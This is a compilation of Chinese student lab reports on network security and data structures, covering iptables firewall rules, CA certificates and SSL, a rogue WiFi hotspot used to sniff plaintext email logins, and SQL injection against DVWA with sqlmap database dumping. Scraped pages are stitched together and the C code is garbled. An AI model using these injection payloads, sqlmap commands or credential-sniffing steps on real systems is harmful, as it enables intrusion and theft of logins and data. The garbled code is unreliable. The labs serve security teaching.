通过实验，我明白了带有参数的动态网页，很多都是没有进行过滤的。如果能够被SQL注入工具，就存在安全隐患，有可能就因为这个漏洞，入侵者就可以得到登录权限并控制整个服务器。

从实验可以看出，只要是带有参数的动态网页，且此网页访问了数据库，就有可能存在SQL注入攻击，因此SQL注入攻击潜在的发生概率相对于其他Web攻击要高很多，危害面也更广。其主要危害包括：获取系统控制权、未经授权状况下操作数据库的数据、恶意篡改网页内容、私自添加系统帐号或数据库使用者帐号等。

目前基于数据库的网络应用越来越多。与此同时，用于搜索SQL注入点的软件在网络上随处可见，攻击者只需要具备少量的专业知识就可以利用这些软件寻找目标进行攻击。攻击目标和攻击者的增加使得SQL注入攻击在近几年出现扩大的趋势

为了防止SQL注入带来的危害，在网站开发的过程中，需要对需要输入参数的模块进行过滤，并加入相关权限认证模块。

实验四配置和管理主机防火墙

一．实验目的

1.学习配臵和管理主机防火墙，介绍如何配臵linux 防火墙。2.掌握linux 下基本的iptables 知识，学会配臵iptables

二．实验原理

对于Internet 上的系统，不管是什么情况，首先我们要明确一点：网络是不安全的。因此，虽然创建一个防火墙并不能保证系统100%安全，但却是绝对必要的。和社会上其它任何事物一样，Internet 经常会受到一些无聊的或者别有用心的人的干扰，防火墙的目的就是将这类人挡在你的网络之外，同时使你仍然可以完成自己的工作。因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题：用户了解自己的Linux 系统和设臵，并且可以很好地保护好自己的数据和机密文件的安全，这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。防火墙是一个或一组系统，它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同，但是在原则上，防火墙可以被认为是这样一对机制：一种机制是拦阻传输流通行，另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行，而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。

一般来说，防火墙在配臵上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部，但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话，它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”，在“拦阻点”上设臵安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同，防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能；它们经常可以向管理员提供一些情况概要，提供有关通过防火墙的传输流的类型和数量，以及有多少次试图闯入防火墙的企图等信息。

三．实验环境

虚拟机：linux,windowsXP；linux 主机用户名：root；密码：root 四．实验过程 1.查看规则表

# iptables-L INPUT--line-numbers //查看filter表中INPUT链中的所有规则，同时显示各条规则的顺序号

2.删除、清空规则

# iptables-F //不指定表名时，默认情况filter表

3.设臵规则链默认策略

# iptables-t filter-P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables-P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 4.通用（general）条件匹配（直接使用，而不依赖于其他的条件匹配及其扩展）协议匹配（允许使用的协议名包含在/etc/protocols文件中）# iptables-AINPUT-p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包

地址匹配

拒绝转发来自192.168.1.11主机的数据，允许转发来自192.168.0./24网段的数据

# iptables-A FORWARD-s 192.168.1.11-j REJECT

5.隐含（implicit）条件匹配（需要指定的协议匹配为前提，其对应的功能由iptables自动（隐含）的装载入内核），如果无匹配条件，默认为REJECT。端口匹配

仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT # iptables-A INPUT-p tcp--dport 22-j DROP

6.禁止Windows主机ping防火墙linux主机，但是允许从防火墙上ping其他主机（允许接受ICMP回应数据）配臵linux防火墙主机ip地址，如下图所示：

7.配臵windows 主机ip 地址，如下图所示：

8.配臵linux 主机防火墙规则，如下图所示：

9.在此在windows 主机和linux 主机上进行相互ping 测试，测试结果如下图所示：

五．实验感想

通过本次实验，掌握了防火墙保护PC机避免被攻击的方法；在实验中，要先设臵规则，这样PC1和PC2之间就可以相互通信，方便做模拟实验；防火墙在抗攻击过程中起到了很好的作用，保护主机免受外来攻击。

锻炼了解决问题的能力。比如两个主机之间不能连通，问题可能有：双绞线本身有问题导致不能连通，电脑网卡未打开导致不连通等等。连通与否可以通过用Ping命令检查网络连接状况，其中在登录和设臵防火墙的时候也遇到很多问题，但是总的来说是完成了相关的实验，并利用基本的网络知识，锻炼了实践动手能力。通过具体的操作，基本掌握了防火墙抗攻击的配臵方式与方法，更加深入的了解防火墙的重要作用。

了解了防火墙的基本操作及原理，为以后打下基础，虽然各个厂商，各种产品的具体操作不一样，但是基本原理是相通的，通晓原理便可举一反三。同时培养了冷静分析解决问题的能力。

第三篇：中南大学网络安全实验报告

CENTRAL SOUTH UNIVERSITY

网络安全实验报告

学生姓名

专业班级

学号

学院信息科学与工程学院指导教师刘嫔

实验时间 2014年12月实验一 CA证书与SSL连接

应用场景

在访问Web 站点时，如果没有较强的安全措施，用户访问的数据是可以使用网络工具捕获并分析出来的。在Web 站点的身份验证中，有一种基本身份验证，要求用户访问输入用户名和密码时，是以明文形式发送密码的，蓄意破坏安全性的人可以使用协议分析程序破译出用户名和密码。那我们该如果避免呢？可利用SSL 通信协议，在Web 服务器上启用安全通道以实现高安全性。

SSL 协议位于TCP/IP 协议与各种应用层协议之间，为数据通讯提供安全支持。SSL 协议可分为两层： SSL 记录协议（SSL Record Protocol）：它建立在可靠的传输协议（如TCP）之上，为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议（SSL Handshake Protocol）：它建立在SSL 记录协议之上，用于在实际的数据传输开始前，通讯双方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发机构都有可供用户和管理员使用的网页。

实验目标

掌握在Windows Server 2003 下独立根CA 的安装和使用。使用WEB 方式申请证书和安装证书。建立SSL 网站。

分析SSL 网站的数据包特点。

实验拓扑

VM Client

VM Server

实验环境

虚拟机：Windows Server 2003，Windows XP，Wireshark 抓包软件。

实验过程指导

任务一：windows server 2003 环境下独立根CA 的安装及使用

1、启动Windows Server 2003 和Windows XP，配置其IP，使其在同一局域网网段。

2、在Windows Server 2003 中，选择【开始】|【控制面板】|【添加和删除程序】，在弹出窗

口中选择【添加和删除windows 组件】，在【组件】列表框中选择【证书服务】，再单击【下一步】按钮，如下图所示。

3、在弹出的窗口中选择【独立根CA】单选按钮，单击【下一步】按钮，在弹出窗口中按要求依次填入CA 所要求的信息，单击【下一步】按钮，如下图所示。

4、继续选择【证书数据库】、【数据库日志】和配置信息的安装、存放路径，如下图所示。

单击【下一步】按钮。安装的时候，可能会弹出如下窗口，为了实验方便，已经把I386 文件夹复制到C:下，选择【浏览】，选择文件夹“C:I386”，点【确定】，完成安装。

5、选择【开始】|【程序】|【管理工具】，可以找到【证书颁发机构】，说明CA 的安装已经

完成，如下图所示。

6、从同一局域网中的另外一台XP 开启IE 浏览器，输入http://windows2003 的IP/certsrv/, 选中【申请一个证书】，如下图所示，在弹出的页面中选择【web 浏览器证书】。

7、在弹出窗口中填写用户的身份信息，完成后进行【提交】。此种情况下，IE 浏览器采用默认的加密算法生成公钥对，私钥保存在本地计算机中，公钥和用户身份信息按照标准的格式发给CA 服务器，如图所示,单击【是】，进入下一步。CA 服务器响应后，弹出证书申请成功页面，如下图所示。

8、在根CA 所在的计算机上，选择【开始】|【程序】|【管理工具】|【证书颁发机构】，上

面申请的证书便会出现在窗口右边，选择证书单击右键，选择【所有任务】|【颁发】，进行证书颁发，如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹中，表示证书颁发完成。

9、在申请证书的计算机上打开IE，输入http://windows2003 的IP/certsrv/，进入证书申请页

面，选择【查看挂起的证书申请状态】，弹出的页面中选择一个已经提交的证书申请，如下图所示。选择安装此证书。

10、现在验证此CA 系统颁发的新证书是否可信，为此需要安装CA 系统的根证书，进入证书申请主页面，选择当前的CA 证书进行下载，并保存到合适路径，如下图所示。

11、下载完毕之后，在证书的保存目录中查看证书信息，单击【安装证书】按钮，进入证书导入向导，按照默认的配置完成证书的导入，导入成功后，单击【确定】按钮，之后完成。

任务二：基于Web 的SSL 连接设置

2、选择【开始】|【程序】|【管理工具】|【IIS（Internet 信息服务）管理器】，在弹出窗口

右键单击【默认网站】，弹出的快捷菜单中选择【属性】选项，如下图所示。

3、在弹出窗口内选择【目录安全性】标签，单击【安全通信】中的【服务器证书】按钮，如下图所示。

5、弹出【请求文件摘要】窗口，确认后单击【下一步】按钮，接着单击【完成】按钮，完成服务器端证书配置，如下图所示。

6、打开IE 浏览器（windows2003 中的），进入证书申请主界面，如下图所示。

7、在出现的网页中选择【高级证书申请】，如图所示，在出现的网页中单击第二个选项【base64 编码】。打开刚才IIS 证书向导生成的请求文件，（默认路径C:certreq.txt），复制并粘贴文件

内容到第一个文本框，如下图所示，单击【提交】按钮，转到完成提交后的页面。

9、选择【开始】|【程序】|【管理工具】|【IIS（Internet 信息服务）管理器】，在弹出窗口

右键单击【默认网站】，弹出的快捷菜单中选择【属性】选项，在弹出窗口内选择【目录安全性】标签，选择【服务器证书】，选择【下一步】，【处理挂起的请求并安装证书】选择【下一步】，【浏览】选择刚才保存的certnew.cer 文件，如下图所示。【下一步】【下一步】【完成】。

10、还是在【目录安全性】下，选择【安全通信】下的【编辑】，在下如图所示的弹出窗口中选中【要求安全通道（SSL）】复选项，并在【客户端证书】栏中选中【接受客户端证书】复选项，再单击【确定】按钮。返回【目录安全性】面板，单击【应用】按钮及【确定】按

钮，完成配置。

11、在XP 系统打开浏览器，输入服务器IP 地址，进入证书申请主页面，此时会显示错误信息页面，要求采用https 的方式连接服务器，如图所示。

12、把http 改成https 继续访问，此时浏览器提示你要安装证书，安装完证书后，就可以正常使用了。、再次打开Wireshark，并点击开始抓包的按钮。打开IE 浏览器，输入网址

https://windows2003 的IP/?id=1(比如：https://192.168.1.130/?id=1)，然后保存Wireshark 的抓

包结果2。

14、分析比较抓包结果1 和抓包结果2 中，对IP/?id=1 请求处理的差异。

实验截图

1、写出windows server 2003 下独立根CA 的配置及应用的过程，将重要的步骤截图并保存。如上所示，重要的步骤截图已置于相应步骤下。

2、写出windows server 2003 下基于Web的SSL连接设置的过程，将重要的步骤截图并保存。如上所示，重要的步骤截图已置于相应步骤下。

实验心得

通过此次实验，我学会了Wireshark抓包的基本使用方法，学到了很多课本上没有的新知识，并对课本上的概念有了实际的更深的认识。通过Wireshark所抓到的未使用SSL 连接和使用SSL 连接的信息的对比，我对HTTPS有了一定的了解，对计算机网络通信中的数据传输安全有了大概的认识。

HTTPS（全称：Hyper Text Transfer Protocol over Secure Socket Layer），是以安全为目标的HTTP通道，简单讲是HTTP的安全版。即HTTP下加入SSL层，HTTPS的安全基础是SSL，因此加密的详细内容就需要SSL。它是一个URI scheme（抽象标识符体系），句法类同http:体系。用于安全的HTTP数据传输。https:URL表明它使用了HTTP，但HTTPS存在不同于HTTP的默 14 认端口及一个加密/身份验证层（在HTTP与TCP之间）。这个系统的最初研发由网景公司(Netscape)进行，并内置于其浏览器Netscape Navigator中，提供了身份验证与加密通讯方法。现在它被广泛用于万维网上安全敏感的通讯，例如交易支付方面。它的主要作用可以分为两种：一种是建立一个信息安全通道，来保证数据传输的安全；另一种就是确认网站的真实性，凡是使用了 https 的网站，都可以通过点击浏览器地址栏的锁头标志来查看网站认证之后的真实信息，也可以通过 CA 机构颁发的安全签章来查询。

Wireshark所抓到的未使用SSL 连接的http 信息，信息是明文传输，而使用SSL连接的https 则具有安全性的ssl加密传输协议，更加安全。

实验二配置和管理主机防火墙

应用场景

那么构筑怎样的Linux 防火墙系统才算是足够安全呢？这是一个很难回答的问题，因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题：用户了解自己的Linux 系统和设置，并且可以很好地保护好自己的数据和机密文件的安全，这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。

那么到底什么是防火墙呢？防火墙是一个或一组系统，它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同，但是在原则上，防火墙可以被认为是这样一对机制：一种机制是拦阻传输流通行，另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行，而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。

一般来说，防火墙在配置上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部，但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话，它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”，在“拦阻点”上设置安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同，防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能；它们经常可以向管理员提供一些情况概要，提供有关通过防火墙的传输流的类型和数量，以及有多少次试图闯入防火墙的企图等信息。

因此本实验将介绍如何配置linux 防火墙。

VM Client

VM Server

实验目标

1.掌握linux 下基本的iptables 知识 2.学会配置iptables VM Windows VM Linux

实验环境

虚拟机：linux,windowsXP；linux 主机用户名：root；密码：root 16 实验过程指导

一.Iptables 的规则表、链结构

1.规则表（iptables管理4个不同的规则表，其功能由独立的内核模块实现）filter 表：包含三个链INPUT OUTPUT FORWARD nat表：PREROUTING POSTROTING OUTPUT mangle 表：PREROUTING POSTROUTING INPUT OUTPUT FORWARD raw 表：OUTPUT PREROUTING 2.规则链

INPUT 链当收到访问防火墙本机的数据包（入站）时，应用此链中的规则 OUTPUT链当防火墙本机向外发送数据包（出站）时，应用此链中的规则 FORWARD链收到需要通过防火墙发送给其他地址的数据包，应用此链 PREROUTING链做路由选择之前，应用此链

POSTROUTING链对数据包做路由选择之后，应用此链中的规则

二.数据包的匹配流程

1.规则表之间的优先级 raw mangle nat filter 2.规则链之间的优先级

入站数据流向：来自外界的数据包到达防火墙，首先PREROUTING规则链处理（是否被修改地址），之后会进行路由选择（判断该数据包应该发往何处），如果数据包的目标地址是防火墙本机，那么内核将其传递给INPUT 链进行处理，通过以后再交给上次的应用程序进行响应。

转发数据流向：来自外界的数据包到达防火墙后，首先被PREROUTING 规则链处理，之后进行路由选择，如果数据包的目标地址是其他外部地址，则内核将其传递给FPRWARD 链进行处理，然后再交给POSTROUTIING 规则链（是否修改数据包的地址等）进行处理。

出站数据流向：防火墙本身向外部地址发送数据包，首先被OUTPUT 规则链处理，之后进行路由选择，然后交给POSTROUTING 规则链（是否修改数据包的地址等）进行处理。3.规则链内部各防火墙规则之间的优先顺序

依次按第1条规则、第2条规则、第3条规则„„的顺序进行处理，找到一条能够匹配的数据包规则，则不再继续检查后面的规则（使用LOG记录日志的规则例外）。如果找不到匹配规则，就按照规则链的默认策略进行处理。

三.管理和设置iptables规则

Iptables 的基本语法格式选项名-A-D-I-R

功能及特点

在指定链的末尾添加（--append）一条新规则

删除（--delete）指定链中的某一条规则，按规则序号或内容确定要删除的规则在指定链中插入一条新规则，若未指定插入位置，则默认在链的开头插入修改、替换指定链中的一条规则，按按 17-L-F-X-P-n-v-V-h--line-numbers-N

1.查看规则表

# iptables-L INPUT--line-numbers //查看filter表中INPUT链中的所有规则，同时显示各条规则的顺序号

规则序号或内容确定要替换的规则列出指定链中所有的规则进行查看，若未指定链名，则列出表中所有链的内容清空指定链中的所有规则，若未指定链名，则清空表中所有链的内容删除表中用户自定义的规则链设置指定链的默认策略（大p）

使用数字形式显示输出结果，如显示主机的IP地址而不是主机名

查看规则列表时显示详细的信息查看iptables命令工具的版本信息查看命令帮助信息

查看规则列表时，同时显示规则在链中的顺序号

新建一条用户自定义的规则链

2.删除、清空规则

# iptables-F //不指定表名时，默认情况filter表

3.设置规则链的默认策略

# iptables-t filter-P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables-P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 18

四.条件匹配

1.通用（general）条件匹配（直接使用，而不依赖于其他的条件匹配及其扩展）协议匹配（允许使用的协议名包含在/etc/protocols文件中）

# iptables-AINPUT-p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包

地址匹配

拒绝转发来自192.168.1.11主机的数据，允许转发来自192.168.0./24网段的数据 # iptables-A FORWARD-s 192.168.1.11-j REJECT

2.隐含（implicit）条件匹配（需要指定的协议匹配为前提，其对应的功能由iptables自动（隐含）的装载入内核），如果无匹配条件，默认为REJECT。

端口匹配

仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT

五.在进行了上述规则讲解与熟悉之后，接下来的步骤进行防火墙规则配置与测试

禁止Windows主机ping防火墙linux主机，但是允许从防火墙上ping其他主机（允许接受ICMP回应数据）

1.配置linux防火墙主机ip地址，如下图所示：

2.配置windows 主机ip地址，如下图所示:

3.配置linux 主机防火墙规则，如下图所示：

4.在此在windows 主机和linux 主机上进行相互ping 测试，测试结果如下图所示：

windows主机无法ping通linux防火墙主机，但是linux主机可以ping通windows主机。

实验截图

如上所示，重要的步骤截图已置于相应步骤下。

实验心得

1)如何在linux 主机上配置防火墙规则以防止DDOS 高级？

答：默认的iptables规则是无法过滤DDOS攻击数据的,我们需要添加过滤规则实现iptables拥有抗DDOS的能力：

屏蔽 SYN_RECV 的连接

-A FORWARD-p tcp-m tcp--tcp-flags FIN,SYN,RST,ACK SYN-m limit--limit 1/sec-j ACCEPT 限制IP碎片，每秒钟只允许100个碎片，用来防止DoS攻击-A FORWARD-f-m limit--limit 100/sec--limit-burst 100-j ACCEPT 限制ping包每秒一个，10个后重新开始

-A FORWARD-p icmp-m limit--limit 1/sec--limit-burst 10-j ACCEPT 限制ICMP包回应请求每秒一个

-A FORWARD-p icmp-m icmp--icmp-type 8-m limit--limit 1/sec-j ACCEPT 此处自定义一个表

-A FORWARD-j RH-Firewall-1-INPUT 完全接受 loopback interface 的封包-A RH-Firewall-1-INPUT-i lo-j ACCEPT 允许主机接受 ping-A RH-Firewall-1-INPUT-p icmp-m icmp--icmp-type any-j ACCEPT 允许连线出去后对方主机回应进来的封包

22-A RH-Firewall-1-INPUT-m state--state RELATED,ESTABLISHED-j ACCEPT 允许防火墙开启指定端口

-A RH-Firewall-1-INPUT-p tcp-m state--state NEW-m tcp--dport port-j ACCEPT 限制SSH登陆

只允许在***.***.***.***上使用ssh远程登录，从其它计算机上禁止使用ssh iptables-A INPUT-s ***.***.***.***-p tcp--dport 22-j ACCEPT iptables-A INPUT-p tcp--dport 22-j DROP

2)linux 主机防火墙处理数据包的顺序是什么？

答：（1）当包到达端口时，对包报头进行语法分析。大多数包过滤设备只检查IP、TCP、或UDP报头中的字段。

（2）若一条规则阻止包传输或接收，则此包便不被允许。

（3）若一条规则允许包传输或接收，则此包便可以被继续处理。（4）若包不满足任何一条规则，则此包便被阻塞。

实验三WIFI 钓鱼

步骤一共享WIFI 工具：电脑、WIN7 系统、无线网卡

步骤

1.开始菜单-->命令提示符(cmd)-->右键，以管理员身份运行 2.运行以下命令启用虚拟网卡

>netsh wlan set hostednetwork mode=allow ssid=(这里写无线网名字)key=(这里是密码)

3.网络共享中心-->更改高级适配器设置-->右键已连接到Internet 的网络连接-->属性-->切换到“共享”选项卡，选中其中的复选框，并选择允许其共享Internet 的网络连接，这里即我们的虚拟WIFI 网卡

4.开启无线网络，继续在命令提示符中运行以下命令: >netsh wlan start hostednetwork 24 即可开启我们之前设置好的无线网络（相当于打开路由器的无线功能）

步骤二 WIFI 钓鱼

工具：其他笔记本或手机、Wareshark 步骤

1.搜索到刚刚设置的WIFI，连接上（密码为刚刚设置的key:12345679）

2.在笔记本上打开wareshark，选择capture-->interfaces 3.选择Packets 最多的项，点击start 按钮

4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉

http 的包

（这里大家可以自由实验，能监控到连接到该WIFI 的机器的所有包的情况）5.在手机或笔记本上输入用户名和密码，点击登录

6.在主机上用wareshark 捕捉到刚刚post 提交的http 包，右键选择Follow tcp stream

7.可以看到刚刚提交的用户名和密码，且是未经过加密的

实验截图

如上所示，重要的步骤截图已置于相应步骤下。

实验心得

本次实验是在自己的笔记本上做的，实验也比较简单，所以做得比较快效果比较好。通过本次实验，大致了解了WIFI钓鱼的操作过程，同时，也让自己有了警觉之心，要养成良好的WIFI使用习惯。手机会把使用过的WIFI热点都记录下来，如果WiFi开关处于打开状态，手机就会不断向周边进行搜寻，一旦遇到同名的热点就会自动进行连接，存在被钓鱼风险。因此当我们进入公共区域后，尽量不要打开WIFI开关，或者把WiFi调成锁屏后不再自动连接，避免在自己不知道的情况下连接上恶意WIFI。

实验四 SQL注入攻击

【实验目的】

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从而执行了非法的数据查询。

本次实验目的是了解sql注入的常见手段，要到两个工具：

①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

② sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

【实验组网拓扑】

VM Client

VM Server

【实验一：dvwa手动sql注入】

1、连接好虚拟机拓扑图，配置WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。

2、打开Server端的xampp，启动apache和mysql。打开Client的浏览器，访问Server的IP/dvwa，如“192.168.1.32/dvwa”，登陆账户为admin，密码为password。

3、选择SQLInjection，点击右下角的ViewSource，查看PHP源代码。

4、正常测试，输入“1”，得到正常结果，如下所示。

5、当将输入变为“'”时，页面提示错误“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”，结果如图。看到这个结果，可以知道，这个表单存在着注入漏洞。

6、尝试输入：“1’or 1=1–”注意“--”后面有空格！此时成功进行sql注入。

8、尝试注入“1' and 1=2 union select 1,2--”，从而得出First name处显示结果为查询结果第一列的值，surname处显示结果为查询结果第二列的值，利用内置函数user(),及database()，version()注入得出连接数据库用户以及数据库名称：“1' and 1=2 union select user(),database()--”。

9、选择DVWA Security，将安全级别分别设置为中、高。再运行上面的实验sql语句，结合右下角的ViewSource，分析三种等级的代码和sql注入效果有何区别。在安全级别分别设置为低时，结合PHP源代码，考虑不采用“--”的情形下，完成sql注入，写出sql注入语句。

【实验二：sqlmap测试dvwa】

1、打开Server端的xampp，启动apache和mysql。打开Client的浏览器，访问Server的IP/dvwa，如“169.254.180.158/dvwa”，登陆账户为admin，密码为password。选择DVWA Security，将安全级别分别设置为低。

2、选择XSS reflected，输入“alert(document.cookie)”，获取登陆系统后的cookie值，截图保存cookie值。

3、使用sqlmap查找注入点，打开Client端的控制台窗口，转到目录“C:Python27sqlmap”，输入以下命令，注意！“169.254.180.158”表示Server的IP，“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所获得的cookie值，请同学们按照实际环境 33 填写相应的值！“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5””。

依据以下信息，得到可能的注入点是id，数据库是mysql。

[INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable

4、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db”得到当前数据库名。

current database: 'dvwa'

5、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db--tables-Ddvwa”得到数据库所有表。

6、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--columns”得到user表的所有列。

7、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--dump”得到user表的所有列，在sqlmap询问时候破解密码时，选择是，sqlmap会使用自己的字典来破解密码，得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。

实验截图

如上所示，重要的步骤截图已置于相应步骤下。

实验心得

随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。

此次的实验让我了解了SQL注入攻击的原理和过程，让我了解到了做这方面开发的时候需要注意的安全性问题，也意识到安全的重要性和数据库的一些欠缺，提高了自己在这方面的安全意识。在实验的过程中遇到了很多困难，配置上的，环境上的，还有一些需要注意的小问题。很高兴顺利完成了这次实验，期待下次能使用更高级的工具进行扫描和实施攻击，当然，以后的开发过程中也要特别注意这些脆弱点了。

第四篇：数据结构实验报告

注意：实验结束后提交一份实验报告电子文档

电子文档命名为“学号+姓名”，如：E01214058宋思怡

《数据结构》实验报告

（一）学号：姓名：专业年级：

实验名称：线性表

实验日期：2014年4月14日

实验目的：

1、熟悉线性表的定义及其顺序和链式存储结构；

2、熟练掌握线性表在顺序存储结构上实现基本操作的方法；

3、熟练掌握在各种链表结构中实现线性表基本操作的方法；

4、掌握用 C/C++语言调试程序的基本方法。

实验内容：

一、编写程序实现顺序表的各种基本运算，并在此基础上设计一个主程序完成如下功能：

（1）初始化顺序表L；

（2）依次在L尾部插入元素-1,21,13,24,8；

（3）输出顺序表L；

（4）输出顺序表L长度；

（5）判断顺序表L是否为空；

（6）输出顺序表L的第3个元素；

（7）输出元素24的位置；

（8）在L的第4个元素前插入元素0；

（9）输出顺序表L；

（10）删除L的第5个元素；

（11）输出顺序表L。

源代码

调试分析（给出运行结果界面）

二、编写程序实现单链表的各种基本运算，并在此基础上设计一个主程序完成如下功能：

„„„„

小结或讨论:

（1）实验中遇到的问题和解决方法

（2）实验中没有解决的问题

（3）体会和提高

第五篇：数据结构实验报告

南京信息工程大学实验（实习）报告

实验（实习）名称数据结构实验（实习）日期 2011-11-2得分指导教师周素萍

系公共管理系专业信息管理与信息系统年级10级班次1姓名常玲学号2010230700

3实验一顺序表的基本操作及C语言实现

【实验目的】

1、顺序表的基本操作及 C 语言实现

【实验要求】

1、用 C 语言建立自己的线性表结构的程序库，实现顺序表的基本操作。

2、对线性表表示的集合，集合数据由用户从键盘输入（数据类型为整型），建立相应的顺序表，且使得数据按从小到大的顺序存放，将两个集合的并的结果存储在一个新的线性表集合中，并输出。

【实验内容】

1、根据教材定义的顺序表机构，用 C 语言实现顺序表结构的创建、插入、删除、查找等操作；

2、利用上述顺序表操作实现如下程序：建立两个顺序表表示的集合（集合中无重

复的元素），并求这样的两个集合的并。

【实验结果】

[实验数据、结果、遇到的问题及解决]

一． Status InsertOrderList(SqList &va,ElemType x)

{

}

二． Status DeleteK(SqList &a,int i,int k)

{//在非递减的顺序表va中插入元素x并使其仍成为顺序表的算法 int i;if(va.length==va.listsize)return(OVERFLOW);for(i=va.length;i>0,x

}

//注意i的编号从0开始 int j;if(i<0||i>a.length-1||k<0||k>a.length-i)return INFEASIBLE;for(j=0;j<=k;j++)a.elem[j+i]=a.elem[j+i+k];a.length=a.length-k;return OK;

三．// 将合并逆置后的结果放在C表中，并删除B表

Status ListMergeOppose_L(LinkList &A,LinkList &B,LinkList &C)

{

LinkList pa,pb,qa,qb;pa=A;pb=B;qa=pa;qb=pb;// 保存pa的前驱指针 // 保存pb的前驱指针 pa=pa->next;pb=pb->next;A->next=NULL;C=A;while(pa&&pb){} while(pa){} qa=pa;pa=pa->next;qa->next=A->next;A->next=qa;if(pa->data

data){} else{} qb=pb;pb=pb->next;qb->next=A->next;//将当前最小结点插入A表表头 A->next=qb;qa=pa;pa=pa->next;qa->next=A->next;//将当前最小结点插入A表表头 A->next=qa;

}

} pb=B;free(pb);return OK;qb=pb;pb=pb->next;qb->next=A->next;A->next=qb;

顺序表就是把线性表的元素存储在数组中，元素之间的关系直接通过相邻元素的位置来表达。

优点：简单，数据元素的提取速度快；

缺点：（1）静态存储，无法预知问题规模的大小，可能空间不足，或浪费存储空间；（2）插入元素和删除元素时间复杂度高——O（n）

求两个集合的并集

该算法是求两个集合s1和s2的并集，并将结果存入s引用参数所表示的集合中带回。首先把s1集合复制到s中，然后把s2中的每个元素依次插入到集合s中，当然重复的元素不应该被插入，最后在s中就得到了s1和s2的并集，也就是在s所对应的实际参数集合中得到并集。

中南大学 数据结构实验报告

相关范文推荐

中南大学数据结构实验报告